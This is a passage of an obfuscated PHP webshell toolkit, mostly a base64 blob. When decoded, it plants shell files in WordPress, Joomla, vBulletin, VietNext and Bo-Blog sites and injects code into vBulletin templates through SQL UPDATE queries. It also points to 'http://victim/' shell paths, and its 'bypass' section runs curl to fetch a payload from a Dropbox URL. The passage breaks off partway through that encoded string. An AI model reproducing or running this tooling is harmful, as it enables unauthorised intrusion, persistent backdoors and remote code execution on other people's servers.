VmRrYkVvZ01URmlTakkxYUdKWFZXNVlVMnR3U1VoelRrTnBRV2RKUTBGblNVTkJaMHBIUm1saU1sRm5VRk5CYTFwdGJITmFWMUlnY0dOcE5HdGtXRTVzWTIxYWNHSkhWbVppYlVaMFdsUnpUa05wUVdkSlEwRm5TVU5CWjFGSE1YWmtiVlptWkZoQ2MySWdNa1pyV2xkU1pscHRiSE5hVTJkclpGaE9iR050V25CaVIxWm1aRWN4ZDB4RFFXdFpWMHAyV2tOck4wUlJiMmRKUVRBZ1MxcFhUbTlpZVVrNFdUSldkV1JIVm5sUWFuaHBVR3RTZG1KdFZXZFFWREFyU1VOU01XTXlWbmxhYld4eldsWTVkVmtnVnpGc1VFTTVhVkJxZDNaWk1sWjFaRWRXZVZCcFNUZEVVWEE1UkZGd09VUlJjR3hpU0U1c1pYY3dTMXBYVG05aWVXTWdUa05xZUcxaU0wcDBTVWN4YkdSSGFIWmFSREJwVlVVNVZGWkRTV2RaVjA0d1lWYzVkVkJUU1dsSlIxWjFXVE5TTldNZ1IxVTVTVzB4TVdKSVVuQmpSMFo1WkVNNWJXSXpTblJNVjFKb1pFZEZhVkJxZUhCaWJrSXhaRU5DTUdWWVFteFFVMG9nYldGWGVHeEphVUoxV1ZjeGJGQlRTbkJpVjBadVdsTkpLMUJIYkhWalNGWXdTVWhTTldOSFZUbEpiRTR4V1cweGNHUWdRMGxuWW0xR2RGcFVNR2xWTTFacFlsZHNNRWxwUWpKWlYzZ3hXbFF3YVZVelZtbGlWMnd3U1dvME9Fd3lXblpqYlRBZ0swcDZjMDVEYmpBOUlpa3BmWDE3Skh0bGVHbDBLQ2w5ZlNZS0pGOXdhSEJwYm1Oc2RXUmxYMjkxZEhCMWREd3ZkR1Y0ZEdGeVpXRStQR0p5UGdvOGFXNXdkWFFnZEhsd1pUMXpkV0p0YVhRZ2RtRnNkV1U5SjBOb1lXNW5aU2NnUGp4aWNqNEtQQzltYjNKdFBqd3ZZMlZ1ZEdWeVBnbzhMMmgwYld3K0Nqdy9DbVZ5Y205eVgzSmxjRzl5ZEdsdVp5Z3dLVHNLSkdodmMzUnVZVzFsSUQwZ0pGOVFUMU5VV3lkb2IzTjBibUZ0WlNkZE93b2taR0p1WVcxbElEMGdKRjlRVDFOVVd5ZGtZbTVoYldVblhUc0tKR1JpZFhObGNpQTlJQ1JmVUU5VFZGc25aR0oxYzJWeUoxMDdDaVJrWW5CaGMzTWdQU0FrWDFCUFUxUmJKMlJpY0dGemN5ZGRPd29rZFhObGNqMXpkSEpmY21Wd2JHRmpaU2dpWENjaUxDSW5JaXdrZFhObGNpazdDaVJ6WlhSZmRYTmxjaUE5SUNSZlVFOVRWRnNuZFhObGNpZGRPd29rY0dGemN6MXpkSEpmY21Wd2JHRmpaU2dpWENjaUxDSW5JaXdrY0dGemN5azdDaVJ6WlhSZmNHRnpjeUE5SUNSZlVFOVRWRnNuY0dGemN5ZGRPd29rWlcxaGFXdzljM1J5WDNKbGNHeGhZMlVvSWx3bklpd2lKeUlzSkdWdFlXbHNLVHNLSkhObGRGOWxiV0ZwYkNBOUlDUmZVRTlUVkZzblpXMWhhV3duWFRzS0pIWmlYM0J5WldacGVDQTlJQ1JmVUU5VFZGc25jSEpsWm1sNEoxMDdDaVJrWVhSaElEMGdKRjlRVDFOVVd5ZGtZWFJoSjEwN0NpUnpaWFJmWkdGMFlTQXVQU0FvSWlSa1lYUmhJaWs3Q2lSMFlXSnNaVjl1WVcxbElEMGdKSFppWDNCeVpXWnBlQzRpZFhObGNpSTdDaVIwWVdKc1pWOXVZVzFsTWlBOUlDUjJZbDl3Y21WbWFYZ3VJblJsYlhCc1lYUmxJanNLQ2tCdGVYTnhiRjlqYjI1dVpXTjBLQ1JvYjNOMGJtRnRaU3drWkdKMWMyVnlMQ1JrWW5CaGMzTXBPd3BBYlhsemNXeGZjMlZzWldOMFgyUmlLQ1JrWW01aGJXVXBPd29LSkhGMVpYSjVJRDBnSjNObGJHVmpkQ0FxSUdaeWIyMGdKeUF1SUNSMFlXSnNaVjl1WVcxbElDNGdKeUIzYUdWeVpTQjFjMlZ5Ym1GdFpUMGlKeUF1SUNSelpYUmZkWE5sY2lBdUlDY2lPeWM3Q2lSeVpYTjFiSFFnUFNCdGVYTnhiRjl4ZFdWeWVTZ2tjWFZsY25rcE93b2tjbTkzSUQwZ2JYbHpjV3hmWm1WMFkyaGZZWEp5WVhrb0pISmxjM1ZzZENrN0NpUnpZV3gwSUQwZ0pISnZkMXNuYzJGc2RDZGRPd29rY0dGemN6RWdQU0J0WkRVb0pITmxkRjl3WVhOektUc0tKSEJoYzNNeUlEMGdiV1ExS0NSd1lYTnpNU0F1SUNSellXeDBLVHNLQ2lSeGRXVnljbmt4SUQwZ0oxVlFSRUZVUlNBbklDNGdKSFJoWW14bFgyNWhiV1VnTGlBbklGTkZWQ0J3WVhOemQyOXlaRDBpSnlBdUlDUndZWE56TWlBdUlDY2lJRmRJUlZKRklIVnpaWEp1WVcxbFBTSW5JQzRnSkhObGRGOTFjMlZ5SUM0Z0p5STdKenNLSkhGMVpYSnllVElnUFNBblZWQkVRVlJGSUNjZ0xpQWtkR0ZpYkdWZmJtRnRaU0F1SUNjZ1UwVlVJR1Z0WVdsc1BTSW5JQzRnSkhObGRGOWxiV0ZwYkNBdUlDY2lJRmRJUlZKRklIVnpaWEp1WVcxbFBTSW5JQzRnSkhObGRGOTFjMlZ5SUM0Z0p5STdKenNLSkhGMVpYSnllVE1nUFNBblZWQkVRVlJGSUNjZ0xpQWtkR0ZpYkdWZmJtRnRaVElnTGlBbklGTkZWQ0IwWlcxd2JHRjBaU0E5SWljZ0xpQWtjMlYwWDJSaGRHRWdMaUFuSWlCWFNFVlNSU0IwYVhSc1pTQTlJQ0ptWVhFaU95YzdDZ29rYjJzeFBVQnRlWE54YkY5eGRXVnllU2drY1hWbGNuSjVNU2s3Q2lSdmF6RTlRRzE1YzNGc1gzRjFaWEo1S0NSeGRXVnljbmt5S1RzS0pHOXJNVDFBYlhsemNXeGZjWFZsY25rb0pIRjFaWEp5ZVRNcE93b0thV1lvSkc5ck1TbDdDbVZqYUc4Z0lqeHpZM0pwY0hRK1lXeGxjblFvSjNaQ2RXeHNaWFJwYmlCcGJtWnZJR05vWVc1blpXUWdZVzVrSUZOb1pXeHNJR0YyWVdsc1lXSnNaU0JwY3lCbVlYRXVjR2h3SURvcEp5azdQQzl6WTNKcGNIUStJanNLZlFvL1BpQT0KJzsKCiRmaWxlID0gZm9wZW4oInZiYi5waHAiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIAogICBlY2hvICI8aWZyYW1lIHNyYz11cHNoZWxsL3ZiYi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CgppZiAoaXNzZXQoJF9QT1NUWydqbCddKSkKewogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsKICAgIGNoZGlyKCd1cHNoZWxsJyk7CiRjb25maWdzaGVsbCA9ICdQR2gwYld3K1BHaGxZV1ErQ2dvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSStDZ29LUEdJK1BITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUdKc2RXVTdJajVOWlhSb2IyUnpJREVnT2lCVmNHeHZZV1FnY0dod1BDOXpjR0Z1UGp4aWNpQXZQZ3BmVEc5aFpDQXZZV1J0YVc1cGMzUnlZWFJ2Y2lBbVozUTdJRWRzYjJKaGJDQkRiMjVtYVdkMWNtRjBhVzl1SUNabmREc2dVM2x6ZEdWeWJTQW1aM1E3SUUxbFpHbGhJRk5sZEhScGJtY2dKbWQwT3lBOGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklISmxaRHNpUGk1d2FIQThMM053WVc0K1BHSnlJQzgrQ2w5TlpXUnBZU0JOWVc1aFoyVnlJSFZ3Ykc5aFpDQThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBuTm9aV3hzTG5Cb2NEd3ZjM0JoYmo0OFluSWdMejRLWDFKMWJpQnphR1ZzYkRvZ1BHRWdhSEpsWmowaWFIUjBjRG92TDNacFkzUnBiUzlwYldGblpYTXZjMmhsYkd3dWNHaHdJaUIwWVhKblpYUTlJbDlpYkdGdWF5SSthSFIwY0RvdkwzWnBZM1JwYlM5cGJXRm5aWE12YzJobGJHd3VjR2h3UEM5aFBpWnVZbk53T3p3dmMzQmhiajQ4TDJJK1BHSnlJQzgrQ2p4aWNpQXZQZ29LUEdJK1BITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUdKc2RXVTdJajVOWlhSb2IyUnpJRElnT2lCRlpHbDBJRlJsYlhCc1lYUmxJRHd2YzNCaGJqNDhZbklnTHo0S1gweHZZV1FnTDJGa2JXbHVhWE4wY21GMGIzSWdKbWQwT3lCSGJHOWlZV3dnUTI5dVptbG5kWEpoZEdsdmJpQW1aM1E3SUZONWMzUmxjbTBnSm1kME95Qk5aV1JwWVNCVFpYUjBhVzVuSUNabmREc2dQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJ5WldRN0lqNHVjR2h3UEM5emNHRnVQanhpY2lBdlBncGZUV1ZrYVdFZ1RXRnVZV2RsY2lCMWNHeHZZV1FnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajV6YUdWc2JDNXdhSEE4TDNOd1lXNCtQR0p5SUM4K0NsOVNkVzRnYzJobGJHdzZJRHhoSUdoeVpXWTlJbWgwZEhBNkx5OTJhV04wYVcwdmFXMWhaMlZ6TDNOb1pXeHNMbkJvY0NJZ2RHRnlaMlYwUFNKZllteGhibXNpUG1oMGRIQTZMeTkyYVdOMGFXMHZhVzFoWjJWekwzTm9aV3hzTG5Cb2NEd3ZZVDRtYm1KemNEczhMM053WVc0K1BDOWlQanhpY2lBdlBnbzhZbklnTHo0S0NqeGlQanh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNklHeGhjbWRsT3lJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK1RXVjBhRzlrY3lBeklEb2dWWEFnVFc5a2RXeGxjeUE4TDNOd1lXNCtQR0p5SUM4K0NsOVZjR3h2WVdRZ2JXOWtkV3hsY3lBOGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklISmxaRHNpUG1oMGRIQnpPaTh2Wkd3dVpISnZjR0p2ZUhWelpYSmpiMjUwWlc1MExtTnZiUzkxTHpjME5ESTFNemt4TDNWd2MyaGxiR3d2ZUhoNExucHBjRHd2YzNCaGJqNDhZbkkrQ2w5SmJuTjBZV3hzSUcxdlpIVnNaWE1nUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajR1ZW1sd1BDOXpjR0Z1UGp4aWNqNEtYMUoxYmlCemFHVnNiRG9nUEdFZ2FISmxaajBpYUhSMGNEb3ZMM1pwWTNScGJTOXBiV0ZuWlhNdmMyaGxiR3d1Y0dod0lpQjBZWEpuWlhROUlsOWliR0Z1YXlJK2FIUjBjRG92TDNacFkzUnBiUzl0YjJSMWJHVnpMMjF2WkY5dVozVjVaVzUwWVcxMFpXTm9YM0J2Y0hWd0wyMXZaRjl1WjNWNVpXNTBZVzEwWldOb1gzQnZjSFZ3TG5Cb2NEd3ZZVDRtYm1KemNEczhMM053WVc0K1BDOWlQanhpY2lBdlBnbzhZbklnTHo0PQonOwoKJGZpbGUgPSBmb3BlbigiamwucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICAKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9qbC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ3dwJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQR0krUEhOd1lXNGdjM1I1YkdVOUltWnZiblF0YzJsNlpUb2diR0Z5WjJVN0lqNDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJR0pzZFdVN0lqNU5aWFJvYjJSeklERWdPaUJWY0NCUWJIVm5hVzV6UEM5emNHRnVQanhpY2o0S1BHSStLeUFpUVVSRUlFNUZWeUJRVEZWSFNVNGlQQzlpUGp4aWNpQXZQZ284WWo0ckptNWljM0E3SUNKVlVFeFBRVVFpSUR4emNHRnVJSE4wZVd4bFBTSmpiMnh2Y2pvZ2NtVmtPeUkrUXprNUxscEpVRHd2YzNCaGJqNDhMMkkrUEdKeUlDOCtDanhpUGlzZ1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo0OEwzTndZVzQrVW5WdUlITm9aV3hzT2lBOFlTQm9jbVZtUFNKb2RIUndPaTh2ZG1samRHbHRMMmx0WVdkbGN5OXphR1ZzYkM1d2FIQWlJSFJoY21kbGREMGlYMkpzWVc1cklqNW9kSFJ3T2k4dmRtbGpkR2x0THk5M2NDMWpiMjUwWlc1MEwzQnNkV2RwYm5Ndll6azVMMk01T1M1d2FIQThMMkUrSm01aWMzQTdQQzl6Y0dGdVBqd3ZZajQ4WW5JK1BHSnlQZ29LUEdJK1BITndZVzRnYzNSNWJHVTlJbVp2Ym5RdGMybDZaVG9nYkdGeVoyVTdJajQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUdKc2RXVTdJajVOWlhSb2IyUnpJRElnT2lCRlpHbDBJRkJzZFdkcGJuTThMM053WVc0K1BHSnlJQzgrQ2w5RlpHbDBJQ0E4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUhKbFpEc2lQbUZyYVhOdFpYUXVjR2h3UEM5emNHRnVQanhpY2lBdlBncGZSV1JwZENCamIyUmxJSE5vWld4c0lENCtJSE5oZG1VZ1ptRnBiSE1nT2lCM2NtbDBaU0FvYzJGelpHRnpaR0Z6S1NBK1BpQnpZWFpsSUQ0K0lHOXJQR0p5SUM4K0NsOURiM0I1SUNZZ1VHRnpkR1VnWTI5a1pTQlRhR1ZzYkNCaFoyRnBiaUErUGlCdmF6eGljajRLWDFKMWJpQnphR1ZzYkNBNklEeGhJR2h5WldZOUltaDBkSEE2THk5MmFXTjBhVzB2ZDNBdFkyOXVkR1Z1ZEM5d2JIVm5hVzV6TDJGcmFYTnRaWFF2WVd0cGMyMWxkQzV3YUhBaUlIUmhjbWRsZEQwaVgySnNZVzVySWo1b2RIUndPaTh2ZG1samRHbHRMM2R3TFdOdmJuUmxiblF2Y0d4MVoybHVjeTloYTJsemJXVjBMMkZyYVhOdFpYUXVjR2h3UEM5aFBpWnVZbk53T3p3dmMzQmhiajQ4TDJJK1BHSnlJQzgrQ2p4aWNpQXZQZ29LUEM5b2RHMXNQZz09Cic7CgokZmlsZSA9IGZvcGVuKCJ3cC5waHAiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIAogICBlY2hvICI8aWZyYW1lIHNyYz11cHNoZWxsL3dwLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsndm4nXSkpCnsKICAgIG1rZGlyKCd1cHNoZWxsJywgMDc1NSk7CiAgICBjaGRpcigndXBzaGVsbCcpOwokY29uZmlnc2hlbGwgPSAnUEdoMGJXdytQR2hsWVdRK0NnbzhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExWUjVjR1VpSUdOdmJuUmxiblE5SW5SbGVIUXZhSFJ0YkRzZ1kyaGhjbk5sZEQxMWRHWXRPQ0krQ2dvS1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK1BHSStWbWxsZEU1bGVIUWdLRTVWUzBVZ015QXBPand2WWo0OEwzTndZVzQrUEdKeUlDOCtDanhpUGp4aWNpQXZQand2WWo0S1BHSStSRTlYVGt4UFFVUWdNU0JEdzRGSklGUkZUVkJNUlNCRDRidW1RU0JPVlV0RklDMG1aM1E3UEM5aVBqeGljaUF2UGdvOFlqNHRKbWQwT3lCRlJFbFVJRU5QUkVVZ01TQlVVazlPUnlCRHc0RkRJRVpKVEVVZ3hKRERreUF0Sm1kME95QkRTTU9JVGlBOGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklISmxaRHNpUGtOUFJFVWdVMGhGVEV3OEwzTndZVzQrSUZiRGdFOG1ibUp6Y0RzOEwySStQR0p5SUM4K0NqeGlQaTBtWjNRN0lGcEpVQ0JNNGJxZ1NUd3ZZajQ4WW5JZ0x6NEtQR0krTFNabmREc2dWVkFnVkVWTlVFeEZQQzlpUGp4aWNpQXZQZ284WWo0dEptZDBPeUJUUlZSVlVEd3ZZajQ4WW5JZ0x6NEtQR0krTFNabmREc2dWTU9NVFNCUVFWUklJRk5JUlV4TVBDOWlQanhpY2lBdlBnbzhZajQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUhKbFpEc2lQanhpY2lBdlBqd3ZjM0JoYmo0OEwySStDanhpY2lBdlBnbzhMMmgwYld3KwonOwoKJGZpbGUgPSBmb3Blbigidm4ucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICAKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC92bi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ2JiJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQR0krUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajVSVmVHNm9rNGdUTU9kSUZWVFJWSXRKbWQwT3lBOEwzTndZVzQrUEdKeUlDOCtKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdJQ3NnSWxGVldlRzdnRTRnVk9HNm9ra2dUTU9LVGlBaVBHSnlJQzgrSm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3SUNzZ0lrTklUeUJRU01PSlVDREVrRlhEbEVrZ1RlRzduaUJTNGJ1WVRrY2dJanhpY2lBdlBpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeUFySUZSSXc0cE5JTVNRNGJ1S1RrZ2dST0c2b0U1SElDSWdVRWhRSUNJOFluSWdMejQ4WW5JZ0x6NDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBsRlY0YnFpVGlCTXc1MGdRc09BU1NCV1NlRzZ2bFF0Sm1kME96d3ZjM0JoYmo0OFluSWdMejRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNnS3lBaVVWWGh1cUpPSUV6RG5TQlVTZUc3aGxBZ1ZFbE9JRlRodXFKSklFekRpazRnSWp4aWNpQXZQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeUFySUZWUVRFOUJSRHhpY2lBdlBqeGljaUF2UGp4emNHRnVJSE4wZVd4bFBTSmpiMnh2Y2pvZ2NtVmtPeUkrUTFORVRDQXRKbWQwT3lCTldWTlJURHd2YzNCaGJqNDhZbklnTHo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklHSnNkV1U3SWo1elpXeGxZM1FnS2lCbWNtOXRJR0p2WW14dloxOTFjR3h2WVdROEwzTndZVzQrUEM5aVBqeGljaUF2UGdvOFlqNDhZbklnTHo1VXc0eE5JRk5JUlV4TUxsQklVRHd2WWo0OFluSWdMejRLUEdJK1BHSnlJQzgrUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCaWJIVmxPeUkrSm01aWMzQTdMMkYwZEdGamFHMWxiblF2ZUhoNGVIaDRlSE5vWld4c0xuQm9jRHd2YzNCaGJqNDhMMkkrQ2p3dmFIUnRiRDQ9Cic7CgokZmlsZSA9IGZvcGVuKCJiYi5waHAiICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIAogICBlY2hvICI8aWZyYW1lIHNyYz11cHNoZWxsL2JiLnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KPz4KCgogIDx0cj4KICAgIDx0ZD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nMTczJz4KICAgICAgPHRyPgogICAgICAgIDx0aCBjbGFzcz0ndGQnIHN0eWxlPSdib3JkZXItYm90dG9tLXdpZHRoOnRoaW47Ym9yZGVyLXRvcC13aWR0aDp0aGluJz48ZGl2IGFsaWduPSdyaWdodCc+PHNwYW4gY2xhc3M9J3N0eWxlMSc+U09VUkNFICAgOjwvc3Bhbj48L2Rpdj48L3RoPgogICAgICAgIDx0ZCBjbGFzcz0ndGQnIHN0eWxlPSdib3JkZXItYm90dG9tLXdpZHRoOnRoaW47Ym9yZGVyLXRvcC13aWR0aDp0aGluJz48Zm9ybSBuYW1lPSdGMScgbWV0aG9kPSdwb3N0Jz4KICAgICAgICAgICAgPGRpdiBhbGlnbj0nbGVmdCc+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndmJiJyAgdmFsdWU9J1ZCQic+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0namwnICB2YWx1ZT0nSm9tTGEnPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3dwJyAgdmFsdWU9J1dvcmRQcmVzcyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndm4nICB2YWx1ZT0nVmlldE5leHQnPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2JiJyAgdmFsdWU9J0JvLUJsb2cnPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+PC90ZD4KICAgICAgPC90cj4KICAgPHRyPgogICAKPC9ib2R5Pgo8L2h0bWw+
1335';
1336 $file = fopen("upshell.php", "w+");
1337 $write = fwrite($file, base64_decode($perltoolss));
1338 fclose($file);
1339 echo "<iframe src=upshell.php width=100% height=720px frameborder=0></iframe><br><center><b>Code by HackerPro536</b></center> ";
1340} elseif ($action == 'bypass') {
1341 $file = fopen($dir . "bypass.php", "w+");
1342 $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnlQYXNzIDo6IEt5bUxqbmsgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAplY2hvICI8Q0VOVEVSPgogIDx0YWJsZSBib3JkZXI9JzEnIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCcgc3R5bGU9J2JvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IGJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci1jb2xvcjogI0MwQzBDMDsgcGFkZGluZy1sZWZ0OiA0OyBwYWRkaW5nLXJpZ2h0OiA0OyBwYWRkaW5nLXRvcDogMTsgcGFkZGluZy1ib3R0b206IDEnIGJvcmRlcmNvbG9yPScjMTExMTExJyB3aWR0aD0nMTAwJScgYmdjb2xvcj0nI0UwRTBFMCc+CiAgICA8dHI+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+IEJ5UGFzczwvZGl2PjwvdGQ+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaW5nOjBweCAwcHggMHB4IDVweCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4KICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMzUwJyBzdHlsZT0ncGFkZGluZzoyMHB4IDIwcHggMjBweCAyMHB4ICc+IjsKCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDEwJ10pKQp7CkBta2RpcigiQnlQYXNzU3ltIik7CkBjaGRpcigiQnlQYXNzU3ltIik7CkBleGVjKCdjdXJsIGh0dHBzOi8vZGwuZHJvcGJveHVzZXJjb250ZW50LmNvbS91Lzc0NDI1MzkxL3N5